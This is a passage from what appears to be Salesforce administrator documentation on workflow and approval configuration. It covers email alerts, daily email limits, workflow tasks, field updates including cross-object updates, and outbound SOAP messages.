The workflow rule is deactivated but has pending actions in the queue.
The workflow rule trigger type is set to Every time a record is created or edited.
The workflow rule is included in a package.

See Also:
Managing Workflow Rules
Examples of Workflow Rules
Creating Workflow Rules
Managing Workflow Actions

Customizing Workflow and Approval Settings


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approvals are not available in Database.com

User Permissions Needed


To edit workflow and approval settings:

Customize Application

To customize settings for workflow rules and approval processes:


1. Click Your Name > Setup > Create > Workflow & Approvals > Settings.
2. Select a Default Workflow User that you want Salesforce to display with a workflow rule when the user that triggered
the rule is not active.
If your organization uses time-dependent actions in workflow rules, you must designate a default workflow user. Salesforce
displays this username in the Created By field for tasks, the Sending User field for email, and the Last Modified
By field for field updates. Salesforce does not display this username for outbound messages. If a problem occurs with a
pending action, the default workflow user receives an email notification.
3. To enable email approval response for your organization, select the Enable Email Approval Response checkbox.
The email approval response feature gives users the ability to approve or reject email approval requests by replying to the
email. Approvers must have the API Enabled system permission to approve or reject approval requests via email.

1788

Create

Customizing Workflow and Approval Settings

Note: Before enabling email approval response, note that you cannot use this feature with approval processes in
which the assigned approver is a queue, or in a multi-step approval process in which the next approver is manually
chosen after the first step. Also, users that use Microsoft Word as their email editor must add the comments to
the end of the first line of the reply email instead of the second.
4. Click Save.
When you enable email approval response, Salesforce uses the following default email template for approval processes unless
you specify a custom email template:

[name of requesting user] has requested your approval for


the following item.
To approve or reject this item, reply to this email with
the word APPROVE, APPROVED, YES, REJECT, REJECTED, or NO
in the first line of the email message, or click this link:
[link to approval page]
If replying via email you can also add comments on the
second line. The comments will be stored with the approval
request in Salesforce CRM.
Note: For salesforce.com to process your response the word
APPROVE, APPROVED, YES, REJECT, REJECTED, or NO must be in
the very first line of the reply email. Also, any comment
must be in the second line.

If your organization has Approvals in Chatter enabled and the approver has opted to receive approval notifications as Chatter
posts, the default email template is appended with:
You can also approve, reject and comment on this request from your Chatter feed:
[link to approval post in Chatter]

If you select a custom email template when configuring an approval response, be sure it contains the above information so
users know how to correctly reply to the email approval request.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Email Approval Response FAQ

1789

Create

Managing Email Alerts

Managing Email Alerts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view email alerts:

View Setup and Configuration

To create or change email alerts:

Customize Application

Email alerts are emails generated by a workflow rule or approval process and sent to designated recipients whenever specific
business actions trigger the workflow rule or approval process. Email alerts contain the standard text and list of recipients for
an email. You must specify an email template for email alerts. To use a standard global From address for email alerts, like
support@company.com, set up an organization-wide address first.
To get started using email alerts, click Your Name > Setup > Create > Workflow & Approvals > Email Alerts.
From this page you can:

Create a new email alert.


Select an existing email alert to view details about it, create a cloned email alert, or view all the rules using it.
Edit an existing email alert.
Delete an email alert.

See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones
Workflow Daily Email Limit
Workflow and Approvals Overview
Managing Workflow Rules
Differences Between Auto-Response Rules and Workflow Alerts

Creating Email Alerts for Workflow, Approvals, or Milestones


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change workflow rules:

Customize Application

To create or change email alerts:

Customize Application

To create email alerts:

1790

Create

Managing Email Alerts

1. For workflow and approvals, click Your Name > Setup > Create > Workflow & Approvals > Email Alerts.
For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Email Alert.
3. Configure the email alert:
a. Enter a description.
b. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected
object type. You can have actions of the same type with the same unique name, provided they are defined for different
objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within
the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.
c. If available, choose the object for this email alert.
Salesforce uses this object when generating merge field values for email templates with workflow rules and approval
processes. Also, you can define the recipients of this email alert using contact and user lookup fields that are relevant
to that object. For example, if you select Contract, you can define the contract signer as a recipient. The object is
read-only if the new email alert is associated with an approval process or workflow rule for a particular object.
Tip: To create workflow rules for case comments so that comments added to cases send email alerts when a
rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule.
d. Choose an email template.
Note: If the email template you choose contains approval merge fields named
{!ApprovalRequest.field_name}, these fields will return values only when that email template is used
as the approval assignment template. If you use the template for any other email alert actionin either workflow
rules or approval processesthe merge fields will return a null value.
e. If available, select Protected Component to mark the alert as protected if it is part of a Managed - Released
package.
f. Select who should receive this email alert. Depending on your organization settings and the object you selected, some
options in this list may not be available.

Account OwnerThe user listed as the account owner of either the account itself or the account associated with

the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts, and any
custom object that is a child of the account object. Also, the associated account must have an account owner specified.
If you select another object type or the associated account doesn't have an account owner, Salesforce sends the email
alert to the record owner instead.
Account TeamAll users assigned to a particular account team role.
Note: The Account Team option is always available; however, emails are only sent when the rule is
associated with the account object or any of its immediate child objects.

Case TeamAll users assigned to a particular case team role.


CreatorThe user who created the record.
Customer Portal UserAll users associated with a Customer Portal.
Email FieldAn email address field on the selected object, such as the Email field on lead records or custom

email fields.

1791

Create

Managing Email Alerts

Note: When creating email alerts for campaign members, Email Field refers to the email field on the
lead or contact that the campaign member is based on.

OwnerThe record owner.


Partner UserAll users associated with a partner portal.
Portal RoleAll users assigned to a particular portal role.
Portal Role and SubordinatesAll users assigned to a particular portal role, plus all users in roles below

that role.

Public GroupsThe users in a particular public group.

Related Lead or Contact OwnerA campaign member's lead or contact owner.

Related ContactAn associated contact on the record. For example, you can select the Customer Signed
By field for contracts that contain the name of the contract signer.
Related UserAn associated user on the record. For example, contract records have an Activated By field

that contains the name of the user that activated the contract.
RoleAll of the users assigned a particular role.
Role and Internal SubordinatesAll users in a particular role, plus all users in roles below that role,
excluding partner portal and Customer Portal users.
Role and SubordinatesAll users in a particular role, plus all users in roles below that role.
UserA particular user.
Sales TeamA member of the sales team. This option doesn't appear unless you have team selling enabled for
your opportunities.
Note: The Sales Team option only works for email alerts configured for opportunities. It doesn't work
for email alerts configured for child objects of opportunities.

g. Select the recipients who should receive this email alert in the Available Recipients list and click Add.
Note: If you change the object after selecting recipients, Salesforce clears the Selected Recipients list.

h. Enter up to five additional email addresses.


i. You can change the From Email Address to:

The email address of the default workflow user.


A previously configured and verified organization-wide address. This allows you to use a standard global email
address for your organization (such as support@company.com) instead of the default From field, which is the
email address of the person who updates the record.
Only verified organization-wide email addresses display in the From Email Address picklist.
Note: If you select Make this the default From email address for this object's email alerts, it overrides the
From Email Address for all email alerts associated with that object. You can still customize individual email
alerts to use a different From Email Address.

j. Click Save.

1792

Create

Managing Email Alerts

Note: If your email recipient is a record owner and the owner of the record is a queue, the queue email receives
the email alert. If the queue is set up so that email is sent to all members, queue members are notified as well. If
no queue email is specified, only queue members are notified.
4. To put email alerts into action, associate them with a workflow rule, approval process, or entitlement process.
Note: The daily limit for emails sent from workflow and approval-related email alerts is 1,000 per standard Salesforce
license per organization. The overall organization limit is 2,000,000. When the daily limit is reached, a warning email
goes out to the default workflow user. If the default workflow user isn't set, then the warning email is sent to an active
system administrator. For more information, see Workflow Daily Email Limit on page 1793.

See Also:
Workflow and Approvals Overview

Workflow Daily Email Limit


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change workflow rules:

Customize Application

To create or change email alerts:

Customize Application

The daily limit for emails sent from workflow and approval-related email alerts is 1,000 per standard Salesforce license per
organization. The overall organization limit is 2,000,000. When the daily limit is reached, a warning email goes out to the
default workflow user. If the default workflow user isn't set, then the warning email is sent to an active system administrator.
How the Workflow Daily Email Limit Works
After your organization has reached its limit:

Any emails in the workflow queue left over and not sent that day are discarded. Salesforce doesn't try to resend them later.
If a workflow rule with an action and an email alert is triggered, only the email action is blocked.
Final approval, final rejection, approval, rejection, and recall email actions are blocked.
An error message is added to the debug log.

The following items don't count against the workflow email limit:

Approval notification emails


Task assignment notifications
Lead assignment rules notifications
Case assignment rules notifications
Case escalation rules notifications
Force.com sites usage alerts

1793

Create

Managing Tasks for Workflow and Approvals

The limit restriction is based on activity in the 24-hour period starting and ending at midnight GMT. Adding or removing
a user license immediately adjusts the limit's total. If you send an email alert to a group, every recipient in that group counts
against your daily workflow email limit.

See Also:
Salesforce Editions and Limits

Managing Tasks for Workflow and Approvals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view tasks:

View Setup and Configuration

To create or change tasks:

Customize Application

A task is a type of workflow action that determines the details of an assignment given to a specified user by a workflow rule
or approval process. Create tasks and then associate them with the workflow rules or approval processes that will trigger them.
When a workflow rule or approval process meets the business conditions you set up, any tasks associated with it are assigned
to designated users with the Subject, Status, Priority, and Due Date of the workflow task.
To get started using tasks, click Your Name > Setup > Create > Workflow & Approvals > Tasks.
From this page you can:

Create a new workflow task.


Select an existing task to view details about it, create a cloned task, or view rules using it.
Edit an existing task.
Delete a task.
Note:

Before you create a task for a custom object, make sure the custom object tracks activities.
When tasks are created automatically by actions such as clicking the Send An Email button, they don't trigger
task-based workflow rules.
Tasks aren't available for article types. See Defining Article Types on page 1480 for more information.

See Also:
Creating Tasks for Workflow, Approvals, or Milestones
Workflow and Approvals Overview
Managing Workflow Rules

1794

Create

Managing Tasks for Workflow and Approvals

Creating Tasks for Workflow, Approvals, or Milestones


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change tasks:

Customize Application

To create or change workflow rules:

Customize Application

To create your tasks:


1. For workflow and approvals, click Your Name > Setup > Create > Workflow & Approvals > Tasks.
For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Task.
3. Select a record type and click Next. Remember, tasks can only be associated with workflow rules or approval processes for
the same object type.
Note: When creating tasks for custom objects, only custom objects that track activities are available.
Tasks aren't available for article types. See Defining Article Types on page 1480 for more information.
4. Configure the task:
a. Select an assignee. An assignee can be in the form of a user, role, record owner, record creator, sales team role, or
account team role, depending on the type of record you chose.
Note:

If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the task is
assigned to the person who triggered the rule.
If the subject was translated, Salesforce creates the task in the assignee's language If you checked Notify
Assignee for the task, Salesforce sends the email in the assignee's language. However, if only the comments
field was translated, Salesforce creates the task and sends the email in the language of the user who triggered
the task.
If a custom object has a master-detail relationship with a standard object, the owner of the custom object
record is automatically set to the owner of the master standard object record. For example, if a custom object
called Expenses has a master-detail relationship with Accounts, the owner of each expense record is the
owner of the account for the expense.
If the assignee of a workflow task is a role and more than one user belongs to that role, the record owner
becomes the task assignee, regardless of their role. We recommend that you do not assign tasks to roles
with multiple users. Assigning tasks to roles with one user allows you to easily change the user in that role
without modifying the workflow rule.
When a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead
that are assigned to that user, except email alerts, are reassigned to the lead owner. Workflow tasks assigned
to users other than the lead owner and lead converter aren't changed.

1795

Create

Managing Field Updates

b. Enter a subject for the task.


c. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected
object type. You can have actions of the same type with the same unique name, provided they are defined for different
objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within
the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.
d. Choose a due date, status, and priority. Due dates appear in the time zone of the assignee.
Note: Configuring a tasks Due Date to Rule Trigger Date sets time triggers and workflow task due dates
based on the date that the workflow time triggers action is executed. For example, if the task due date is Rule
Trigger Date plus 10 days and the time trigger is executed on January 1st, Salesforce sets the task due date to
January 11th.
e. Check Notify Assignee to send an email notification when the task is assigned.
f. Check Protected Component to mark the task as protected. For more information, see the Force.com Quick
Reference for Developing Packages.
g. Enter any comments to add to the task.
h. Click Save.
5. To put tasks into action, associate them with a workflow rule, approval process, or entitlement process.
Note: You may notice that all your tasks include a Created By field. For tasks, this field contains the name of the
person who saved the record that triggered the rule to assign the task.

See Also:
Workflow and Approvals Overview
Entitlement Management Overview

Managing Field Updates


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approval Processes are not available in Database.com

User Permissions Needed


To view field updates:

View Setup and Configuration

To define, edit, or delete field updates:

Customize Application

Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval
processes, or entitlement processes.
Before you begin using field updates, review Field Update Considerations. To get started using field updates, click Your
Name > Setup > Create > Workflow & Approvals > Field Updates.

1796

Create

Managing Field Updates

From this page you can:

Define a new field update.


Select an existing field update to view its details or view workflow rules and approval processes that use it.
Edit an existing field update.
Delete a field update.

See Also:
Defining Field Updates
Understanding Cross-Object Field Updates
Workflow and Approvals Overview
Managing Workflow Rules

Defining Field Updates


Available in: Enterprise, Unlimited, Developer, and Database.com Editions.
Approvals are not available in Database.com.

User Permissions Needed


To define, edit, or delete field updates:

Customize Application

Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval
processes, or entitlement processes. Before you begin, review Field Update Considerations on page 1802.
Note: For all custom objects and some standard objects, you can create workflow and approval actions where a change
to a detail record updates a field on the related master record. Cross-object field updates work for custom-to-custom
master-detail relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail
relationships. For more information, see Understanding Cross-Object Field Updates on page 1800.
1. Click Your Name > Setup > Create > Workflow & Approvals > Field Updates.
For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Field Update.
3. Configure the field update.
a. Enter a name for this field update.
b. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected
object type. You can have actions of the same type with the same unique name, provided they are defined for different
objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within
the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.
c. Enter a description.

1797

Create

Managing Field Updates

d. Define the field update, including the object associated with the workflow rule or approval process, and the field to
update. Note that the field to update may be on a related object in a master-detail relationship. Fields are shown only
for the target object that you select.
Note: You can use field updates on encrypted custom fields, but if you try to use a formula to set the new value,
the encrypted field isn't available in the formula editor.
e. If available, check the Protected Component check box to mark the field update as protected. For more information,
see the Force.com Quick Reference for Developing Packages.
f. Select the Re-evaluate Workflow Rules After Field Change checkbox if you want workflow rules on this
object to be re-evaluated after the field value is updated. For more information, see Field Updates That Re-evaluate
Workflow Rules on page 1799.
g. Specify the new field value. The available options depend on the type of field you are updating. You can:

Choose A specific value, and enter the value in the space provided.
Choose A blank value (null) if you want Salesforce to remove any existing value and leave the field blank. This
option isn't available for required fields, checkboxes, and some other types of fields.
For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object records,
you can also choose a queue for this field. Select Notify Assignee to send an email to the new record owner.
For checkboxes, choose True to select the checkbox and False to deselect it.
For picklists, select a specific value from the drop-down list, or select the value above or below the current value
based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above or below
may be different for users in other languages.
Choose Use a formula to set the new value to calculate the value based on an expression, merge fields, or other
values.
If youre building a formula for approvals or rules, such as workflow, validation, assignment, auto-response, or
escalation, click Insert Field, choose a field, and click Insert.
To insert case merge fields so that email messages update the associated case fields, click Insert Field on the
Rule Criteria section and choose Email Message > Parent Case.
To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use
the examples in Operators and Functions on page 1203.
You can insert a function from the Functions list. Functions are pre-built formulas that you can customize with
your input parameters. See Operators and Functions for a description of each operator and function.

h. Click Save.
Tip: To create workflow rules so that case comments or emails automatically update fields on associated cases,
select Case Comment or Email Message in the Object drop-down list when creating a new workflow rule and
select Case in the Field to Update list. Email-to-Case or On-Demand Email-to-Case must be enabled for your
organization to use the Email Message in a workflow rule.
When cases are updated by an email-triggered workflow rule, the updated case can trigger:

Workflow rules
Validation rules
Updates to roll-up summary fields
Escalation rules
Apex triggers

1798

Create

Managing Field Updates

Entitlement processes

The updated case can't trigger:

Assignment rules
Auto-response rules

See Also:
Managing Field Updates
Understanding Cross-Object Field Updates
Workflow and Approvals Overview
Approval Processes Overview
Entitlement Management Overview

Field Updates That Re-evaluate Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions.

Selecting the Re-evaluate Workflow Rules After Field Change checkbox on the Field Update Edit page allows
you to set a workflow field update to re-evaluate all workflow rules on the object if the field update results in a change to the
value of the field.

If the field update changes the fields value, all workflow rules on the associated object are re-evaluated. Any workflow
rules whose criteria are met as a result of the field update will be triggered.
If any of the triggered workflow rules result in another field update thats also enabled for workflow rule re-evaluation, a
domino effect occurs, and more workflow rules can be re-evaluated as a result of the newly-triggered field update. This
cascade of workflow rule re-evaluation and triggering can happen up to five times after the initial field update that started
it.
In a batch update, workflow is only retriggered on the entities where there is a change.
Only workflow rules on the same object as the initial field update will be re-evaluated and triggered.
Only workflow rules that didnt fire before will be retriggered.
Cross-object workflow rules arent candidates for re-evaluation.
Cross-object field updates that cause a field value to change dont trigger workflow rule re-evaluation on the associated
object.
An approval process can specify a field update action that re-evaluates workflow rules for the updated object. If, however,
the re-evaluated workflow rules include a cross-object field update, those cross-object field updates will be ignored. To

1799

Create

Managing Field Updates

prevent this, ensure that in the approval actions you deselect Re-evaluate Workflow Rules After Field Change for field
updates.

See Also:
Managing Field Updates
Defining Field Updates
Field Update Considerations
Managing Workflow Rules

Understanding Cross-Object Field Updates


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approval Processes are not available in Database.com

For all custom objects and some standard objects, you can create workflow and approval actions where a change to a detail
record updates a field on the related master record. Cross-object field updates work for custom-to-custom master-detail
relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail relationships. For
example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master object) to
Closed when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a
case from Awaiting Customer Response to In Progress when a customer adds a case comment.
Note: The cross-object field update function may depend on certain critical updates being active. Click Your Name
> Setup > Critical Updates to see if your organization requires any updates.

Custom Object to Custom Object


You can use cross-object field updates for all custom objects that are children of custom objects in a master-detail relationship.
Custom Object to Standard Object
You can use cross-object field updates for custom objects that are children of certain standard objects in a master-detail
relationship. The standard objects which support cross-object field updates are:

Account
Asset
Campaign
Case
Contact
Contract
Contract Line Item
Entitlement
Opportunity
Order
Question

1800

Create

Managing Field Updates

Quote
Service Contract
Solution

Standard Object to Standard Object


You can use cross-object field updates for standard objects that are children of standard objects in a master-detail relationship.
However, only a few standard-to-standard relationships are supported:

Case Comments updating Case


Email updating Case
Tip: To create workflow rules so that case comments or emails automatically update fields on associated cases,
select Case Comment or Email Message in the Object drop-down list when creating a new workflow rule and
select Case in the Field to Update list. Email-to-Case or On-Demand Email-to-Case must be enabled for your
organization to use the Email Message in a workflow rule.

Opportunity Product updating Opportunity


Note: Cross-object field updates to a parent opportunity's Amount and Quantity fields only work if the opportunity
has no opportunity products associated with it.

Opportunity updating AccountSupported for both business accounts and person accounts.
Note: If you have workflow rules on converted leads and want to use cross-object field updates on the resulting accounts
and opportunities, you must enable the lead setting Enable Validation and Triggers from Lead Convert.

When configuring standard-to-standard cross-object field updates, consider that:

Standard-to-standard cross-object field update actions cant be used in, or assigned to, approval processes.
A standard-to-standard cross-object field update can still update a parent record even if the user doesnt have edit access
to it.
Note: If you have Apex code in place thats updating parent fields in the same relationships supported by cross-object
field updates, consider leveraging the functionality of the standard cross-object field updates and then removing your
Apex code. Otherwise, both will fire, and since workflow rules run after Apex triggers, the workflow field update will
override any change made by your Apex code.

See Also:
Defining Field Updates
Managing Field Updates
Field Update Considerations
Overview of Relationships
Case Comments Overview
What is a Person Account?

1801

Create

Managing Field Updates

Field Update Considerations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approval Processes, Opportunities, and Contracts are not available in Database.com

User Permissions Needed


To define, edit, or delete field updates:

Customize Application

When creating field updates for workflow rules or approval processes, consider the following:
Field Update Processing

Field updates occur before email alerts, tasks, and outbound messages.
Field updates occur after case assignment, lead assignment, auto-response, and case escalation rules.
Field updates function independently of field-level security. Therefore, a workflow rule can update fields even though they
are hidden on the user's page layout.
The result of a field update is unpredictable when a single workflow rule includes multiple field updates that apply different
values to the same field.
Field updates may affect the information in a related list. For example, if a field such as the Amount or Close Date of
an opportunity is set to be updated, it will affect the Stage History related list on opportunities.
If a user gets a field update error when saving a record, you can use the debug log to see which field update failed. The
debug log stops when a failure occurs.
For reminder fields on tasks and events:
Field updates can set the reminder for a task or event but they can't use the due date of a task or the scheduled time of
an event.
Formulas for date/time values are calculated in days. Divide the value by 1440the number of minutes in a dayto
express the value in minutes. For example, the formula Now()-7 means seven days ago, while Now()-7/1440 means
seven minutes ago.

If your organization uses multiple currencies, currency fields are updated using the record's currency. If you choose to
update a field based on a formula, any values in your formula are interpreted in the currency of the record.
Field updates are tracked in the History related list if you have set history tracking on those fields.
Because updates to records based on workflow rules don't trigger validation rules, workflow rules can invalidate previously
valid fields.
Tip: Salesforce processes any rules in the following order:
1.
2.
3.
4.
5.

Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules

1802

Create

Managing Field Updates

Notes on Cross-Object Field Updates

For all custom objects and some standard objects, you can create workflow and approval actions where a change to a detail
record updates a field on the related master record. Cross-object field updates work for custom-to-custom master-detail
relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail relationships.
For more information, see Understanding Cross-Object Field Updates on page 1800.
The cross-object field update function may depend on certain critical updates being active. Click Your Name > Setup >
Critical Updates to see if your organization requires any updates.
Field update actions that update fields on related objects are supported only for use with workflow rules. Approval processes
can't use cross-object field update actions.
An approval process can specify a field update action that re-evaluates workflow rules for the updated object. If, however,
the re-evaluated workflow rules include a cross-object field update, those cross-object field updates will be ignored. To
prevent this, ensure that in the approval actions you deselect Re-evaluate Workflow Rules After Field Change for field
updates.

Field Updates and Custom Fields

Before changing a custom field's type, make sure that it isn't the target of a workflow field update or referenced in a field
update formula that would be invalidated by the new type.
You can't delete a custom field that is referenced by a field update.
You can use field updates on encrypted custom fields, but if you try to use a formula to set the new value, the encrypted
field isn't available in the formula editor.

Field Updates on Opportunities and Contracts

You can define field updates for the Stage field on opportunities, but be aware of how this field affects the Type and
Forecast Category fields. See Picklists with Additional Information on page 1062 for information on the relationship
between these fields.
You can define field updates using the Amount field on opportunities but it will only apply to those opportunities that
don't have products. Adding products to an opportunity changes the Amount field to a read-only field that is automatically
calculated and not affected by that field update.
You can define field updates for the Status field on contracts. However, the value of this field may affect the value of the
Status Category field as well.
Note: The Status field cannot be updated by approval processes. If you want to use the contract status as part
of an approval process, Salesforce recommends creating a custom status field.

Avoid creating a field update for contracts or orders that changes the Status field to any value other than Approved.

Field Update Limitations

The results of a field update can't trigger additional rules such as validation, assignment, auto-response, or escalation rules.
The results of a field update can trigger additional workflow rules if you have flagged the field update to do so. For more
information, see Field Updates That Re-evaluate Workflow Rules on page 1799.
Read-only fields like formula or auto-number fields aren't available for field updates.
The Language picklist field on multilingual solutions isn't available for field updates.
Email message workflow rules can only be associated with field updates.
If a field update references a specific user, you can't deactivate that user. For example, if your field update is designed to
change the owner of a record to Bob Smith, change the field update before deactivating Bob Smith.
Some fields, such as Related To and Private fields on activities, aren't available for field updates.
You can update long text area fields, but the option to insert A specific value restricts you to entering up to 255
characters.

1803

Create

Managing Outbound Messages

You can't make a field universally required if it's used by a field update that sets the field to a blank value. For details, see
About Universally Required Fields on page 1196.
Workflow rules that update owners do not also transfer associated items. To ensure transfer, click Change next to the
owners name in a record and make your transfer selections.

See Also:
Defining Field Updates
Managing Field Updates
Understanding Cross-Object Field Updates

Managing Outbound Messages


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approvals are not available in Database.com

User Permissions Needed


To view, define, edit, or delete outbound messages:

Customize Application
AND
Manage Translation
AND
Manage Territories (if territories are enabled)

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
To get started using outbound messages, click Your Name > Setup > Create > Workflow & Approvals > Outbound Messages.

Click New Outbound Message to define a new outbound message.


Click View Message Delivery Status to track the status of an outbound message.
Select an existing outbound message to view its details or to see if any workflow rules and approval processes use it.
Click Edit to make changes to an existing outbound message.
Click Del to delete an outbound message.
Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com
to enable outbound messages.

When working with outbound messages, note the following:

1804

Create

Managing Outbound Messages

A single SOAP message can include up to 100 notifications. Each notification contains an ID that uniquely identifies a
record, and a reference to the data in the record. Therefore, if the information in the record changes after the notification
is sent, but before the notification is delivered, only the updated information is delivered.
Messages are queued until they are sent, to preserve message reliability.
If the endpoint is unavailable, messages will stay in the queue until sent successfully or until they are 24 hours old. After
24 hours, messages are dropped from the queue.
If a message can't be delivered, the interval between retries increases exponentially, up to a maximum of two hours between
retries.
Messages are retried independent of their order in the queue. This may result in messages being delivered out of order.
You can't build an audit trail using outbound messages. While each message should be delivered at least once, it may be
delivered more than once. Also, it may not be delivered at all if delivery cannot be done within 24 hours. Finally, as noted
above, the source object may change after a notification is sent but before it is delivered, so the endpoint will only receive
the latest data, not any intermediate changes.
Encrypted custom fields aren't available in outbound messages.
You can create workflow rules and approval processes on junction objects; but you can't create outbound messages on
junction objects.

See Also:
Defining Outbound Messages
Tracking Outbound Message Delivery Status
Workflow and Approvals Overview
Managing Workflow Rules
Web Services API Developer's Guide
Metadata API Developer's Guide

1805

Create

Managing Outbound Messages

Defining Outbound Messages


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approvals are not available in Database.com

User Permissions Needed


To define, edit, or delete outbound messages:

Customize Application
AND
Manage Translation
AND
Manage Territories (if territories are enabled)

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
When you associate an outbound message with a workflow rule, approval process, or entitlement process, the outbound message
sends the selected information to the associated endpoint URL when the workflow rule or approval process is triggered. Once
the endpoint URL receives the message, it can take the information from the message and process it, assuming that the Web
service has been configured appropriately.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:

80: This port only accepts HTTP connections.


443: This port only accepts HTTPS connections.
102466535 (inclusive): These ports accept HTTP or HTTPS connections.
Note: Outbound messages can't be associated with workflow rules on custom junction objects.

To define outbound messages:


1. For workflow and approvals, click Your Name > Setup > Create > Workflow & Approvals > Outbound Messages.
For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Outbound Message.
Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact
salesforce.com to enable outbound messages.
3. Choose the object that has the information you want included in the outbound message, and click Next.

1806

Create

Managing Outbound Messages

Tip: To create workflow rules for case comments so that comments added to cases send outbound messages when
a rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule.
4. Configure the outbound message.
a. Enter a name for this outbound message.
b. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected
object type. You can have actions of the same type with the same unique name, provided they are defined for different
objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within
the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.
c. Enter a description.
d. Enter an endpoint URL for the recipient of the message. Salesforce sends a SOAP message to this endpoint.
e. Select the Salesforce user to use when sending the message. The chosen user controls data visibility for the message
that is sent to the endpoint.
f. Check the Protected Component check box to mark the outbound message as protected. For more information,
see the Force.com Quick Reference for Developing Packages.
g. Select Send Session ID if you want the Salesforce session ID included in the outbound message. Include the session
ID in your message if you intend to make API calls and you don't want to include a username and password. Never
send a username and password in an unencrypted message, especially in a production environment. It isnt secure.
h. Select Add failures to failed outbound message related list if you want this message to move to
the failed outbound messages related list after all retries have been attempted. If you don't see this option, failed outbound
message notifications aren't enabled for your organization. Contact your salesforce.com representative.
i. Select the fields to include in the outbound message and click Add.
5. Click Save, and review the outbound message detail page:

The API Version field is automatically generated and set to the current API version when the outbound message
was created. This API version is used in API calls back to Salesforce using the enterprise or partner WSDLs. The API
Version can only be modified by using the Metadata API.
Click the Click for WSDL link to view the WSDL associated with this message.
The WSDL is bound to the outbound message and contains the instructions about how to reach the endpoint service
and what data is sent to it.

6. If your endpoint uses a client certificate:


a.
b.
c.
d.

Go to Your Name > Setup > Develop > API.


Click Generate Client Certificate.
Save the certificate to the appropriate location.
Import the downloaded certificate into your application server and configure your application server to request the
client certificate.

1807

Create

Managing Outbound Messages

7. To put outbound messages into action, associate them with a workflow rule, approval process, or entitlement process.

See Also:
Tracking Outbound Message Delivery Status
Managing Outbound Messages
Workflow and Approvals Overview
Entitlement Management Overview
Web Services API Developer's Guide

Selecting Existing Actions


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approvals are not available in Database.com

User Permissions Needed


To select existing actions:

Customize Application

Workflow actions created for a workflow rule or approval process can be associated with other workflow rules and approval
processes.
To associate existing workflow actions with a workflow rule:
1.
2.
3.
4.

5.
6.
7.
8.

Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules.
Select the workflow rule.
Click Edit in the Workflow Actions section.
Click Add Workflow Action in either the Immediate Workflow Actions or Time-Dependent Actions section, depending
on when you want the action to occur, and choose Select Existing Action. See Configuring Workflow Actions on page
1781.
Select the type of action to associate with the workflow rule. The Available Actions box lists all existing actions of that
type.
Enter the name of a specific action in the text field and click Find.
Select the actions in the Available Actions box and use the right arrow to move them to the Selected Actions box. If
necessary, select the left arrow to remove actions from the Available Actions box.
Click Save.

To associate existing workflow actions with an approval process:


1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.
2. Click the name of an approval process.
3. Depending on when you want the action to occur, do one of the following:

Click Add Existing in the Initial Submission Actions, Final Approval Actions, Final Rejection Actions, or Recall
Actions section.

1808

Create

Managing Outbound Messages

4.
5.
6.

7.

